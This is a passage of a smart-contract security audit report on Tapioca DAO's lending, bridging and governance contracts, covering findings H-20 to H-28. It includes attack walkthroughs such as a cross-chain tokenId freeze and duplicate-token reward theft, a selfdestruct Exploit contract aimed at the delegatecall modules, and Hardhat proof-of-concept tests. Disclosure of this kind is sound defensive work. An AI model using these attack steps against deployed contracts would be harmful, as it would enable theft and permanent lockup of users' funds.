        _safeMint(_participant, tokenId);

Suppose on host chain, the last minted tokenId is N. From a non-host chain, we can use sendFrom() to send over a twTAP with tokenId N+1 and mint a new twTAP with the same tokenId (see _creditTo() below). This will not increment mintedTWTap on the host chain, causing a de-sync.

<br>https:

    function _creditTo(uint16, address _toAddress, uint _tokenId) internal virtual override {
        require(!_exists(_tokenId) || (_exists(_tokenId) && ERC721.ownerOf(_tokenId) == address(this)));
        if (!_exists(_tokenId)) {
            //@audit transfering token N+1 will mint it as it doesnt exists. this will not increment mintedTwTap
            _safeMint(_toAddress, _tokenId);
        } else {
            _transfer(address(this), _toAddress, _tokenId);
        }
    }

On the host chain, participate() will always revert when it tries to mint the next twTAP with tokenId N+1, as it now exists on the host chain due to sendFrom().

https://github.com/Tapioca-DAO/tap-token-audit/blob/59749be5bc2286f0bdbf59d7ddc258ddafd49a9f/contracts/governance/twTAP.sol#L309-L310

    function participate(
        ...
        tokenId = ++mintedTWTap;
        //@audit this will always revert when tokenId already exists
        _safeMint(_participant, tokenId);

Impact

An attacker will be able to permanent freeze the twTAP.participate(). This will prevent TAP holders from participating in the governance and from claiming rewards, causing loss of rewards to users.

Proof of Concept

Consider the following scenario,

  1. Suppose we start with twTAP.mintedTwTap == 0 on all the chains, so next tokenId will be 1.
  2. Attacker participate() with 1 TAP and minttwTAP on a non-host chain with tokenId 1.
  3. Attacker sends the minted twTAP across to host chain using twTAP.sendFrom() to permanently freeze the twTAP contract.
  4. On the host chain, the twTAP contract receives the cross chain message and mint a twTAP with tokenId 1 to attacker as it does not exist on host chain yet. (Note this cross-chain transfer is part of Layer Zero ONFT71 mechanism)
  5. Now on the host chain, we have a twTAP with tokenId 1 but mintedTwTap is still 0. That means when users try to participate() on the host chain, it will try to mint a twTAP with tokenId 1, and that will fail as it now exists on the host chain. At this point participate() will be permanently DoS, affecting governance and causing loss of rewards.
  6. Note that the attacker can then transfer the twTAP back to the source chain and exit position to retrieve the locked TAP token. However, the host chain still remain frozen as the owner of tokenId 1 will now be twTAP contract itself after the cross chain transfer.

Note that the attack is still possible even when mintedTwTap > 0 on host chain as attacker just have to repeatly mint on the non-host chain till it obtain the required tokenId.

Add in access control to prevent host-chain-only operations such as participate() from being executed on other chains .

0xRektora (Tapioca) confirmed


[H-20] _liquidateUser() should not re-use the same minimum swap amount out for multiple liquidation

Submitted by peakbolt, also found by carrotsmuggler, Nyx, n1punp, Ack, and rvierdiiev

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/markets/singularity/SGLLiquidation.sol#L337-L340

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L603-L606

Vulnerability details

In Singularity and BigBang, the minAssetAmount in _liquidateUser() is provided by the liquidator as a slippage protection to ensure that the swap provides the specified amountOut. However, the same value is utilized even when liquidate() is used to liquidate multiple borrowers.

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/markets/singularity/SGLLiquidation.sol#L337-L351

    function _liquidateUser(
        ...
        uint256 minAssetAmount = 0;
        if (dexData.length > 0) {
            //@audit the same minAssetAmount is incorrectly applied to all liquidations
            minAssetAmount = abi.decode(dexData, (uint256));
        }

        ISwapper.SwapData memory swapData = swapper.buildSwapData(
            collateralId,
            assetId,
            0,
            collateralShare,
            true,
            true
        );
        swapper.swap(swapData, minAssetAmount, address(this), "");

Impact

Using the same minAssetAmount (minimum amountOut for swap) for the liquidation of multiple borrowers will result in inaccurate slippage protection and transaction failure.

If minAssetAmount is too low, there will be insufficient slippage protection and the the liquidator and protocol could be short changed with a worse than expected swap.

If minAssetAmount is too high, the liquidation will fail as the swap will not be successful.

Proof of Concept

First scenario

  1. Liquidator liquidates two loans X & Y using liquidate(), and set the minAssetAmount to be 1000 USDO.
  2. Loan X liquidated collateral is worth 1000 USDO and the swap is completely successful with zero slippage.
  3. However, Loan Y liquidated collateral is worth 5000 USDO, but due to low liquidity in the swap pool, it was swapped at 1000 USDO (minAssetAmount).

The result is that the liquidator will receive a fraction of the expected reward and the protocol gets repaid at 1/5 of the price, suffering a loss from the swap.

Second scenario

  1. Liquidator liquidates two loans X & Y using liquidate(), and set the minAssetAmount to be 1000 USDO.
  2. Loan X liquidated collateral is worth 1000 USDO and the swap is completely successful with zero slippage.
  3. we suppose Loan Y’s liquidated collateral is worth 300 USDO.

Now the minAssetAmount of 1000 USDO will be higher than the collateral, which is unlikely to be completed as it is higher than market price. That will revert the entire liquidate(), causing the liquidation of Loan X to fail as well.

Update liquidate() to allow liquidator to pass in an array of minAssetAmount values that corresponding to the liquidated borrower.

An alternative, is to pass in the minimum expected price of the collateral and use that to compute the minAssetAmount.

0xRektora (Tapioca) confirmed via duplicate issue 122


[H-21] Incorrect liquidation reward computation causes excess liquidator rewards to be given

Submitted by peakbolt, also found by minhtrng, bin2chen, carrotsmuggler, 0x007, and 0xRobocop (1, 2)

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L577

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/singularity/SGLLiquidation.sol#L310-L314

In _liquidateUser() for BigBang and Singularity, the liquidator reward is derived by _getCallerReward(). However, it is incorrectly computed using userBorrowPart[user], which is the portion of borrowed amount that does not include the accumulated fees (interests).

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L576-L580

        uint256 callerReward = _getCallerReward(
            //@audit - userBorrowPart[user] is incorrect as it does not include accumulated fees
            userBorrowPart[user],
            startTVLInAsset,
            maxTVLInAsset
        );

Using only userBorrowPart[user] is inconsistent with liquidation calculation in Market.sol#L423-L424, which is based on borrowed amount including accumulated fees.

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/Market.sol#L423-L424

    function _isSolvent(
        address user,
        uint256 _exchangeRate
    ) internal view returns (bool) {
        ...
        return
            yieldBox.toAmount(
                collateralId,
                collateralShare *
                    (EXCHANGE_RATE_PRECISION / FEE_PRECISION) *
                    collateralizationRate,
                false
            ) >=
            //@audit - note that the collateralizion calculation is based on borrowed amount with fees (using totalBorrow.elastic)
            // Moved exchangeRate here instead of dividing the other side to preserve more precision
            (borrowPart * _totalBorrow.elastic * _exchangeRate) /
                _totalBorrow.base;
    }

As the protocol uses a dynamic liquidation incentives mechanism (see below), the liquidator will be given more rewards than required if the liquidator reward is derived by borrowed amount without accumulated fees. That is because the dynamic liquidation incentives mechanism decreases the rewards as it reaches 100% LTV. So computing the liquidator rewards using a lower value (without fees) actually gives liquidator a higher portion of the rewards.

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/Market.sol#L442-L462

    function _getCallerReward(
        uint256 borrowed,
        uint256 startTVLInAsset,
        uint256 maxTVLInAsset
    ) internal view returns (uint256) {
        if (borrowed == 0) return 0;
        if (startTVLInAsset == 0) return 0;

        if (borrowed < startTVLInAsset) return 0;
        if (borrowed >= maxTVLInAsset) return minLiquidatorReward;

        uint256 rewardPercentage = ((borrowed - startTVLInAsset) *
            FEE_PRECISION) / (maxTVLInAsset - startTVLInAsset);

        int256 diff = int256(minLiquidatorReward) - int256(maxLiquidatorReward);
        int256 reward = (diff * int256(rewardPercentage)) /
            int256(FEE_PRECISION) +
            int256(maxLiquidatorReward);

        return uint256(reward);
    }

Impact

The protocol is shortchanged as it gives liquidator more rewards than required.

Proof of Concept

  1. Add the following console.log to BigBang.sol#L581`
        console.log("    callerReward (without fees) = \t %d (actual)", callerReward);
    
        callerReward= _getCallerReward(
            //userBorrowPart[user],
            //@audit borrowed amount with fees
            (userBorrowPart[user] * totalBorrow.elastic) / totalBorrow.base, 
            startTVLInAsset,
            maxTVLInAsset
        );
        console.log("    callerReward (with fees)  = \t %d (expected)", callerReward);
  1. Add and run the following test in bigBang.test.ts. The console.log will show that the expected liquidator reward is lower when computed using borrowed amount with fees.
        it.only('peakbolt - liquidation reward computation', async () => {
            const {
                wethBigBangMarket,
                weth,
                wethAssetId,
                yieldBox,
                deployer,
                eoa1,
                __wethUsdcPrice,
                __usd0WethPrice,
                multiSwapper,
                usd0WethOracle,
                timeTravel,
            } = await loadFixture(register);

            await weth.approve(yieldBox.address, ethers.constants.MaxUint256);
            await yieldBox.setApprovalForAll(wethBigBangMarket.address, true);

            await weth
                .connect(eoa1)
                .approve(yieldBox.address, ethers.constants.MaxUint256);
            await yieldBox
                .connect(eoa1)
                .setApprovalForAll(wethBigBangMarket.address, true);

            const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul(
                10,
            );
            await weth.connect(eoa1).freeMint(wethMintVal);
            const valShare = await yieldBox.toShare(
                wethAssetId,
                wethMintVal,
                false,
            );
            await yieldBox
                .connect(eoa1)
                .depositAsset(
                    wethAssetId,
                    eoa1.address,
                    eoa1.address,
                    0,
                    valShare,
                );

            console.log("wethMintVal = %d", wethMintVal);
            console.log("__wethUsdcPrice = %d", __wethUsdcPrice);

            console.log("--------------------- addCollateral ------------------------");
        
            await wethBigBangMarket
                .connect(eoa1)
                .addCollateral(eoa1.address, eoa1.address, false, 0, valShare);

            //borrow
            const usdoBorrowVal = wethMintVal
                .mul(74) 
                .div(100)
                .mul(__wethUsdcPrice.div((1e18).toString()));

            console.log("--------------------- borrow ------------------------");
            await wethBigBangMarket
                .connect(eoa1)
                .borrow(eoa1.address, eoa1.address, usdoBorrowVal);

            // Can't liquidate
            const swapData = new ethers.utils.AbiCoder().encode(
                ['uint256'],
                [1],
            );

            timeTravel(100 * 86400);

            console.log("--------------------- price drop ------------------------");

            const priceDrop = __usd0WethPrice.mul(15).div(10).div(100);
            await usd0WethOracle.set(__usd0WethPrice.add(priceDrop));

            await wethBigBangMarket.updateExchangeRate();


            const borrowPart = await wethBigBangMarket.userBorrowPart(
                eoa1.address,
            );

            console.log("--------------------- liquidate (success) ------------------------");

            await expect(
                wethBigBangMarket.liquidate(
                    [eoa1.address],
                    [borrowPart],
                    multiSwapper.address,
                    swapData,
                ),
            ).to.not.be.reverted;

            return; 
           
        });

Change BigBang.sol#L576-L580, SGLLiquidation.sol#L310-L314, Market.sol#L364 from

        uint256 callerReward = _getCallerReward(
            userBorrowPart[user],
            startTVLInAsset,
            maxTVLInAsset
        );

to

        uint256 callerReward = _getCallerReward(
            (userBorrowPart[user] * totalBorrow.elastic) / totalBorrow.base,
            startTVLInAsset,
            maxTVLInAsset
        );

0xRektora (Tapioca) confirmed via duplicate issue 89


[H-22] Lack of safety buffer between liquidation threshold and LTV ratio for borrowers to prevent unfair liquidations

Submitted by peakbolt

In BigBang and Singularity, there is no safety buffer between liquidation threshold and LTV ratio, to protects borrowers from being immediately liquidated due to minor market movement when the loan is taked out at max LTV.

The safety buffer also ensure that the loans can be returned to a healthy state after the first liquidation. Otherwise, the loan can be liquidated repeatly as it will remain undercollateralized after the first liquidation.

Detailed Explanation

The collateralizationRate determines the LTV ratio for the max amount of assets that can be borrowed with the specific collateral. This check is implemented in _isSolvent() as shown below.

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/Market.sol#L402-L425

    function _isSolvent(
        address user,
        uint256 _exchangeRate
    ) internal view returns (bool) {
        // accrue must have already been called!
        uint256 borrowPart = userBorrowPart[user];
        if (borrowPart == 0) return true;
        uint256 collateralShare = userCollateralShare[user];
        if (collateralShare == 0) return false;

        Rebase memory _totalBorrow = totalBorrow;

        return
            yieldBox.toAmount(
                collateralId,
                collateralShare *
                    (EXCHANGE_RATE_PRECISION / FEE_PRECISION) *
                    collateralizationRate,
                false
            ) >=
            // Moved exchangeRate here instead of dividing the other side to preserve more precision
            (borrowPart * _totalBorrow.elastic * _exchangeRate) /
                _totalBorrow.base;
    }

However, the liquidation start threshold, which is supposed to be higher (e.g. 80%) than LTV ratio (e.g. 75%), is actually using the same collateralizationRate value. We can see that computeClosingFactor() allow liquidation to start when the loan is at max LTV.

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/Market.sol#L283-L284

        uint256 liquidationStartsAt = (collateralPartInAssetScaled *
            collateralizationRate) / (10 ** ratesPrecision);

Impact

Borrowers can be unfairly liquidated and penalized due to minor market movement when taking loan at max LTV. Also loan can be repeatedly liquidated regardless of closing factor as it does not return to healthy state after the first liquidation.

Proof of Concept

Consider the following scenario,

  1. Borrower take out loan at max LTV (75%).
  2. Immediately after the loan is taken out, the collateral value dropped slightly due to minor market movement and the loan is now at 75.000001% LTV.
  3. However, as the liquidation start threshold begins to at 75% LTV, bots start to liquidate the loan, before the borrower could react and repay the loan.
  4. The liquidation will cause the loan to remain undercollateralized despite the closing factor.
  5. As the loan is still unhealthy, the bots will then be able to repeatly liquidate the loan.
  6. Borrower is unfairly penalized and suffers losses due to the liquidations.

Implement the liquidation threshold as a separate state variable and ensure it is higher than LTV to provide a safety buffer for borrowers.

cryptotechmaker (Tapioca) confirmed and commented:

The user is not liquidated for his entire position but only for the amount necessary for the loan to become solvent again.

Loaning up to the collateralization rate threshold is up to the user and opening such an edging position comes with some risks that the user should be aware of.

However, adding the buffer seems fair. It can remain as a ‘High’.


[H-23] Refund mechanism for failed cross-chain transactions does not work

Submitted by peakbolt, also found by Kaysoft, windhustler, carrotsmuggler (1, 2), xuwinnie, and cergyk

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/modules/USDOLeverageModule.sol#L180-L185

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/modules/USDOMarketModule.sol#L178-L186

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/modules/USDOOptionsModule.sol#L187-L197

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L195-L200

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L170-L175

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L202-L212

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L163-L168

There is a refund mechanism in USDO and TOFT modules that will return funds when the execution on the destination chain fails.

It happens when module.delegatecall() fails, where the following code (see below) will trigger a refund of the bridged fund to the user. After that a revert is then ‘forwarded’ to the main executor contract (BaseUSDO or BaseTOFT).

However, the issue is that the revert will also reverse the refund even when the revert is forwarded.

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/modules/USDOLeverageModule.sol#L180-L185

        if (!success) {
            if (balanceAfter - balanceBefore >= amount) {
                IERC20(address(this)).safeTransfer(leverageFor, amount);
            }

            //@audit - this revert will actually reverse the refund before this
            revert(_getRevertMsg(reason)); //forward revert because it's handled by the main executor
        }

Although the main executor contract will _storeFailedMessage() to allow users to retryMessage() and re-execute the failed transaction, it will not go through if the error is permanent. That means the retryMessage() will also revert and there is no way to recover the funds.

Impact

User will lose their bridged fund if the cross chain execution encounters a permanent error, which will permanently lock up the bridged funds in the contract as there is no way to recover it.

Proof of Concept

  1. Add a revert() in leverageUpInternal() within USDOLeverageModule.sol#L197 as follows, to simulate a permanent failure for the remote execution at destination chain.

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/modules/USDOLeverageModule.sol#L197.

function leverageUpInternal(
        uint256 amount,
        IUSDOBase.ILeverageSwapData memory swapData,
        IUSDOBase.ILeverageExternalContractsData memory externalData,
        IUSDOBase.ILeverageLZData memory lzData,
        address leverageFor
    ) public payable {

        //@audit - to simulate a permanent failure for this remote execution (e.g. issue with swap)
        revert();

        ...
    }
  1. Add the following console.log to singularity.test.ts#L4113
            console.log("USDO_10 balance for deployer.address (expected to be equal to 10000000000000000000) : ", await USDO_10.balanceOf(deployer.address));
  1. Run the test case 'should bounce between 2 chains' under 'multiHopBuyCollateral()' tests in singularity.test.ts. It will show that the deployer.address fails to receive the refund amount.

Implement a ‘pull’ mechanism for users to withdraw the refund instead of ‘pushing’ to the user.

That can be done by using a a new state variable within USDO and TOFT to store the refund amount for the transaction with the corresponding payloadHash for failedMessages mapping.

Checks must be implemented to ensure that if user withdraws the refund, the corresponding failedMessages entry is cleared so that the user cannot retry the transaction again.

Similarly, if retryMessage() is used to re-execute the transaction successfully, the refund amount in the new state variable should be cleared.

0xRektora (Tapioca) confirmed via duplicate issue #1410


[H-24] Incorrect formula used in function Market.computeClosingFactor()

Submitted by KIntern_NA, also found by carrotsmuggler and 0xRobocop

Incorrect amount of assets that will be liquidated

Proof of Concept

Function BigBang._liquidateUser() is used to liquidate an under-collateralization position in the market. This function calls BigBang._updateBorrowAndCollateralShare() to calculate the amount of borrowPart and collateralShare that will be removed from the user’s position and update the storage.

The amount of borrowPart to be removed can be calculated using the function Market.computeClosingFactor(). This amount will then be converted to borrowAmount, which is the corresponding elastic amount, and be used to determine the amount of collateralShare that needs to be removed.

However, the returned value from Market.computeClosingFactor() is incorrect, which leads to the wrong update for the user’s position.

To prove the statement above, let’s denote:

  • x: The elastic amount that will be removed to execute the liquidation.
  • userElastic and userElastic': The elastic amount corresponding to userBorrowPart[user] before and after the liquidation.
  • collateralShare and collateralShare': The value of userCollateralShare[user] before and after the liquidation.
  • Following the implementation of yieldBox.toAmount() and yieldBox.toShare(), in one transaction we can denote that:

    • yieldBox.toAmount(): A multiplication expression with a constant C.
    • yieldBox.toShare(): A division expression with constant C.

Following the update of these variables depicted in the function BigBang._updateBorrowAndCollateralShare(), we have:

  • $userElastic' = userElastic - x$
  • $collateralShare' = collateralShare - \frac{x \times (1+liquidationMultiplier)*\frac{exchangeRate}{10^{18}}}{C}$

After the liquidation, the function Market._isSolvent(user) must return true. In other words, at least the following equation should hold:

  • $C \times (collateralShare' \times \frac{collateralRate}{10^5} \times \frac{10^{18}}{exchangeRate}) = userElastic'$

Solving the equation, we get:

  1. $C \times (collateralShare' \times \frac{collateralRate}{10^5} \times \frac{10^{18}}{exchangeRate}) = userElastic'$
  2. $C \times collateralShare \times \frac{collateralRate}{10^5} \times \frac{10^{18}}{exchangeRate} - x \times (1 + \frac{liquidationMultiplier}{10^5}) \times \frac{collateralizationRate}{10^5} = userElastic - x$
  3. $x = \frac{userElastic - C \times collateralShare \times \frac{collateralRate}{10^5} \times \frac{10^{18}}{exchangeRate}}{1 - (1 + \frac{liquidationMultiplier}{10^5}) * \frac{collateralizationRate}{10^5}}$

So, the returned value of the function Market.computeClosingFactor() should be the corresponding base amount of x (totalBorrow.toBase(x, false)).

Comparing it to the current implementation of computeClosingFactor(), we can see the issues are:

  • The implementation uses the borrowPart in the numerator instead of the corresponding elastic amount of borrowPart.
  • The multiplication with borrowPartDecimals and collateralPartDecimals doesn’t make sense since these decimals can be different and may cause the numerator to underflow.

Correct the formula of function computeClosingFactor() following the section “Proof of Concept”.

cryptotechmaker (Tapioca) confirmed


[H-25] Overflow risk in Market contract

Submitted by KIntern_NA

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/Market.sol#L415-L421

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/Market.sol#L390-L396

Actions of users (borrow, repay, removeCollateral, …) in Martket contract might be reverted by overflow, resulting in their funds might be frozen.

Proof of concept

Function _isSolvent in Market contract use conversion from share to amount of yieldBox.

yieldBox.toAmount(
    collateralId,
    collateralShare *
        (EXCHANGE_RATE_PRECISION / FEE_PRECISION) *
        collateralizationRate,
    false
)

It will trigger _toAmount function in YieldBoxRebase contract

function _toAmount(
    uint256 share,
    uint256 totalShares_,
    uint256 totalAmount,
    bool roundUp
) internal pure returns (uint256 amount) {
    totalAmount++;
    totalShares_ += 1e8;

    amount = (share * totalAmount) / totalShares_;

    if (roundUp && (amount * totalShares_) / totalAmount < share) {
        amount++;
    }
}

The calculation amount = (share * totalAmount) / totalShares_ might be overflow because share * totalAmount = collateralShare * (EXCHANGE_RATE_PRECISION / FEE_PRECISION) * collateralizationRate * totalAmount

In the default condition,
EXCHANGE_RATE_PRECISION = 1e18,
FEE_PRECISION = 1e5,
collateralizationRate = 0.75e18

The collateralShare is equal to around 1e8 * collateralAmount by default (because totalAmount++; totalShares_ += 1e8; is present in the _toAmount function).

=> share * totalAmount ~= (collateralAmount * 1e8) * (1e18 / 1e5) * 0.75e18 * totalAmount = collateralAmount * totalAmount * 0.75e39

This formula will overflow when collateralAmount * totalAmount > 1.5e38. This situation can occur easily with 18-decimal collateral. As a consequence, user transactions will revert due to overflow, resulting in the freezing of market functionalities.

The same issue applies to the calculation of _computeMaxBorrowableAmount in the Market contract.

Reduce some variables used to trigger yieldBox.toAmount(), such as EXCHANGE_RATE_PRECISION and collateralizationRate, and use these variables to calculate with the obtained amount. Example, the expected amount can be calculated as:

yieldBox.toAmount(
    collateralId,
    collateralShare
    false
) * (EXCHANGE_RATE_PRECISION / FEE_PRECISION) * collateralizationRate

0xRektora (Tapioca) confirmed


[H-26] Not enough TAP tokens to exercise if a user participates and exercises in the same epoch

Submitted by KIntern_NA

Users were unable to purchase their deserved amount of TAPs

Proof of Concept

During each epoch and for a specific sglAssetID, there is a fixed amount of TAP tokens that will be minted and stored in the STORAGE mapping singularityGauges[epoch][sglAssetID]. Users have the option to purchase these TAP tokens by first calling the function TapiocaOptionBroker.participate() and then executing TapiocaOptionBroker.exerciseOption() before the position expires to buy TAPs at a discounted price. The amount of TAP tokens that a user can purchase with each position can be calculated using the formula:

eligibleTapAmount = position.amount * gaugeTotalForEpoch / totalPoolDeposited

- position.amount: The locked amount of the position in `sglAssetId`.
- gaugeTotalForEpoch: The total number of TAP tokens that can be minted for the `(epoch, sglAssetId)`.
- totalPoolDeposited: The total locked amount of all positions in `sglAssetId`.

The flaw arises when a user who participates in sglAssetId in the current epoch can immediately call exerciseOption() to purchase the TAP tokens. This results in a situation where the participants cannot exercise their expected TAP tokens.

For example:

  • Both Alice and Bob participate in the broker with position.amount = 1.
  • The amount of TAP tokens allocated for the current epoch is gaugeTotalForEpoch = 60.
  • Alice calls exerciseOption() to buy eligibleAmount = 1 * 60 / 2 = 30 TAPs.
  • In the same epoch, Candice participates in the broker with position.amount = 1 and immediately calls exerciseOption(). She will buy eligibleAmount = 1 * 60 / 3 = 20 TAPs.
  • When Bob calls exerciseOption, he can buy eligibleAmount = 1 * 60 / 3 = 20 TAPs, but this cannot happen since if Bob decides to buy 20 TAPs, the total minted amount of TAPs will exceed gaugeTotalForEpoch (30 + 20 + 20 = 70 > 60), resulting in a revert.

Consider developing a technique similar to the one implemented in twTAP.sol for storing the netAmounts. When a user participates in the broker, perform the following actions:

  • netAmounts[block.timestamp+1] += lock.amount
  • netAmounts[lockTime+lockDuration] += lock.amount

0xRektora (Tapioca) confirmed


[H-27] Attacker can pass duplicated reward token addresses to steal the reward of contract twTAP.sol

Submitted by KIntern_NA, also found by bin2chen and glcanvas

The attacker can exploit the contract twTAP.sol to steal rewards.

Proof of Concept

The function twTAP.claimAndSendRewards() -> twTAP._claimRewardsOn() is intended for users who utilize the cross-chain message of BaseTOFT.sol to claim a specific set of reward tokens.


function _claimRewardsOn(
    uint256 _tokenId,
    address _to,
    IERC20[] memory _rewardTokens
) internal {
    uint256[] memory amounts = claimable(_tokenId);
    unchecked {
        uint256 len = _rewardTokens.length;
        for (uint256 i = 0; i < len; ) {
            uint256 claimableIndex = rewardTokenIndex[_rewardTokens[i]];
            uint256 amount = amounts[i];

            if (amount > 0) {
                // Math is safe: `amount` calculated safely in `claimable()`
                claimed[_tokenId][claimableIndex] += amount;
                rewardTokens[claimableIndex].safeTransfer(_to, amount);
            }
            ++i;
        }
    }
}

The internal function iterates through the list of reward tokens specified by the user after calculating the claimable amount for each token in the STORAGE array twTAP.rewardTokens[]. Unfortunately, there is no check if the _rewardTokens contain duplicated reward tokens, and the function claimable(_tokenId) is not called after each iteration, which allows the attacker to manipulate the function call using the same reward address repeatedly.

For example,

  • STORAGE array rewardTokens[] = [usdc, usdt]
  • The function _claimRewardsOn() is called with _rewardTokens[] = [usdt, usdt]. In each iteration, the claimableIndex will be rewardTokenIndex[usdc] = 0, which transfers the usdt two times to the attacker.

One solution to mitigate this issue is to require the MEMORY array _rewardTokens to be sorted in ascending order.

function _claimRewardsOn(
    uint256 _tokenId,
    address _to,
    IERC20[] memory _rewardTokens
) internal {
    uint256[] memory amounts = claimable(_tokenId);
    unchecked {
        uint256 len = _rewardTokens.length;
        for (uint256 i = 0; i < len; ) {
            // CHANGE HERE
            if (i != 0) {
                require(_rewardTokens[i] > _rewardTokens[i-1]);
            }

            uint256 claimableIndex = rewardTokenIndex[_rewardTokens[i]];
            uint256 amount = amounts[i];

            if (amount > 0) {
                // Math is safe: `amount` calculated safely in `claimable()`
                claimed[_tokenId][claimableIndex] += amount;
                rewardTokens[claimableIndex].safeTransfer(_to, amount);
            }
            ++i;
        }
    }
}

By ensuring that the reward tokens are sorted in ascending order, we can prevent the exploit where the attacker claims the same reward token multiple times and effectively mitigate the vulnerability.

0xRektora (Tapioca) confirmed via duplicate issue 1304


[H-28] TOFT and USDO Modules Can Be Selfdestructed

Submitted by Ack, also found by BPZ, Breeje, ladboy233, offside0011, Kaysoft, 0x73696d616f, 0xrugpull_detector, carrotsmuggler, CrypticShepherd, ACai, kodyvim, and cergyk

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L184-L193

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L160-L168

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L189-L200>

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L152-L162

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/modules/USDOLeverageModule.sol#L169-L1788

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/modules/USDOMarketModule.sol#L168-L176

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/modules/USDOOptionsModule.sol#L174-L185

All TOFT and USDO modules have public functions that allow an attacker to supply an address module that is later used as a destination for a delegatecall. This can point to an attacker-controlled contract that is used to selfdestruct the module.

    // USDOLeverageModule:leverageUp
    function leverageUp(
        address module,
        uint16 _srcChainId,
        bytes memory _srcAddress,
        uint64 _nonce,
        bytes memory _payload
    ) public {
        // .. snip ..
        (bool success, bytes memory reason) = module.delegatecall( //@audit-issue arbitrary destination delegatecall
            abi.encodeWithSelector(
                this.leverageUpInternal.selector,
                amount,
                swapData,
                externalData,
                lzData,
                leverageFor
            )
        );

        if (!success) {
            if (balanceAfter - balanceBefore >= amount) {
                IERC20(address(this)).safeTransfer(leverageFor, amount);
            }
            revert(_getRevertMsg(reason)); //forward revert because it's handled by the main executor
        }
        // .. snip ..
    }

Impact

Both BaseTOFT and BaseUSDO initialize the module addresses to state variables in the constructor. Because there are no setter functions to adjust these variables post-deployment, the modules are permanently locked to the addresses specified in the constructor. If those addresses are selfdestructed, the modules are rendered unusable and all calls to these modules will revert. This cannot be repaired.

BaseUSDO.sol:constructor

    // BaseUSDO.sol:constructor
    constructor(
        address _lzEndpoint,
        IYieldBoxBase _yieldBox,
        address _owner,
        address payable _leverageModule,
        address payable _marketModule,
        address payable _optionsModule
    ) BaseUSDOStorage(_lzEndpoint, _yieldBox) ERC20Permit("USDO") {
        leverageModule = USDOLeverageModule(_leverageModule);
        marketModule = USDOMarketModule(_marketModule);
        optionsModule = USDOOptionsModule(_optionsModule);


        transferOwnership(_owner);
    }

Proof of Concept

Attacker can deploy the Exploit contract below, and then call each of the vulnerable functions with the address of the Exploit contract as the module parameter. This will cause the module to selfdestruct, rendering it unusable.

pragma solidity ^0.8.18;

contract Exploit {
    address payable constant attacker = payable(address(0xbadbabe));
    fallback() external payable {
        selfdestruct(attacker);
    }
}

The module parameter should be removed from the calldata in each of the vulnerable functions. Since the context of the call into these functions are designed to be delegatecalls and the storage layouts of the modules and the Base contracts are the same, the module address can be retreived from storage instead. This will prevent attackers from supplying arbitrary addresses as delegatecall destinations.

0xRektora (Tapioca) confirmed via duplicate issue 146


[H-29] Exercise option cross chain message in the (m)TapiocaOFT will always revert in the destination, losing debited funds in the source chain

Submitted by 0x73696d616f, also found by KIntern_NA and bin2chen

